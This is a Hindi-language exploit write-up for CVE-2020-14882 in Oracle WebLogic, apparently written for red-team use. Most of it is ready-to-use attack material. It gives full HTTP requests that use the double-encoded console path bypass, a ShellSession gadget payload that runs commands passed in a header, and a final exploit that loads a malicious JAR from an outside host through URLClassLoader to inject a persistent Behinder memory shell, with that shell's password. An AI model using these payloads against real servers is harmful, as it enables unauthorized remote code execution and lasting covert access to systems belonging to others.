
CVE-2020-14882 (WebLogic बिना प्रमाणीकरण वाला RCE) के लिए एक्सप्लॉइट, जिसमें URLClassLoader और ShellSession गैजेट के माध्यम से मेमोरी शेल तैनाती शामिल है, जो दूरस्थ कमांड निष्पादन और स्थायी पहुंच को सक्षम बनाता है।
जैसा कि सर्वविदित है, CVE-2020-14882 एक अनधिकृत भेद्यता है, जिसका उपयोग करके हमलावर प्रभावित WebLogic सर्वर पर मनमाना कोड निष्पादित कर सकते हैं। इंटरनेट पर उपलब्ध POC में अवैध वर्णों को बायपास करके पहुँच प्राप्त की जाती है, और फिर Gadget के माध्यम से कमांड निष्पादन को कॉल किया जाता है। व्यावहारिक अनुप्रयोग परिदृश्यों और रेड टीम आक्रमणों में, केवल कमांड निष्पादित करना पर्याप्त नहीं है; इसलिए यह अत्यंत महत्वपूर्ण है कि अनधिकृत भेद्यता के माध्यम से मेमोरी शेल की तैनाती कैसे की जाए।
भेद्यता विश्लेषण लेख इंटरनेट पर बहुतायत में उपलब्ध हैं; यह मूलतः डबल एन्कोडिंग की समस्या है। सीधे इंटरनेट पर उपलब्ध निष्पादन कोड POC देखें:
POST /console/images/%252e%252e/console.portal HTTP/1.1
Host: 192.168.137.129:7001
cmd: whoami
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.137.129:7001/console/login/LoginForm.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ADMINCONSOLESESSION=bVc4ldVQMjOVUU4Ch2gfrbdjJzOseetqLr98eCB-_a-1KoUGzBLm!2048667864; ADMINCONSOLESESSION=6KHjgTjHTJphTvmMmpSd6L1c1gmnwwD1nnjT2J5p6JrrhvxHjChb!355090686
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1182
_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHandler")%3bfield.setAccessible(true)%3bObject+obj+%3d+field.get(adapter)%3bweblogic.servlet.internal.ServletRequestImpl+req+%3d+(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj)%3b+String+cmd+%3d+req.getHeader("cmd")%3bString[]+cmds+%3d+System.getProperty("os.name").toLowerCase().contains("window")+%3f+new+String[]{"cmd.exe",+"/c",+cmd}+%3a+new+String[]{"/bin/sh",+"-c",+cmd}%3bif(cmd+!%3d+null+){+String+result+%3d+new+java.util.Scanner(new+java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next()%3b+weblogic.servlet.internal.ServletResponseImpl+res+%3d+(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req)%3b+res.getServletOutputStream().writeStream(new+weblogic.xml.util.StringInputStream(result))%3bres.getServletOutputStream().flush()%3bres.getWriter().write("")%3b}')
वर्तमान में, केवल WebLogic 12.2.1 और उससे ऊपर के संस्करणों में प्रतिध्वनि संभव है, क्योंकि 10.3.6 में यह वर्ग मौजूद नहीं है।
यह देखा जा सकता है कि यह संस्करण com.tangosol.coherence.mvel2.sh.ShellSession गैजेट के माध्यम से मनमाना कोड निष्पादित करता है।
तो java.net.URLClassLoader का उपयोग करके दुर्भावनापूर्ण क्लास को लोड किया जा सकता है, जिससे मेमोरी शेल इंजेक्ट किया जा सके।
URLClassLoader ClassLoader का एक कार्यान्वयन वर्ग है, जो स्थानीय रूप से बाइनरी फ़ाइल क्लास को लोड कर सकता है, साथ ही दूरस्थ रूप से भी क्लास लोड कर सकता है।
Weblogic Behinder मेमोरी शेल
JAR बनाकर पैकेज करें
फिर com.tangosol.coherence.mvel2.sh.ShellSession गैजेट के माध्यम से URLClassLoader को कॉल करके दूरस्थ रूप से लोड करें।
कोड इस प्रकार है:
com.tangosol.coherence.mvel2.sh.ShellSession("java.net.URLClassLoader u = new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://192.168.86.5:6543/cc.jar")});u.loadClass("org.chabug.memshell.InjectFilterShell").newInstance(); u.close();");
पूर्ण Exp:
GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.net.URLClassLoader u = new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://192.168.86.5:6543/cc.jar")});u.loadClass("org.chabug.memshell.InjectFilterShell").newInstance(); u.close();"); HTTP/1.1
Host: 192.168.100.120:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate1
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 0
Behinder कनेक्शन पासवर्ड: rebeyond

नोट: डिफ़ॉल्ट संस्करण का Behinder मेमोरी शेल का समर्थन नहीं करता है।
संदर्भ लिंक: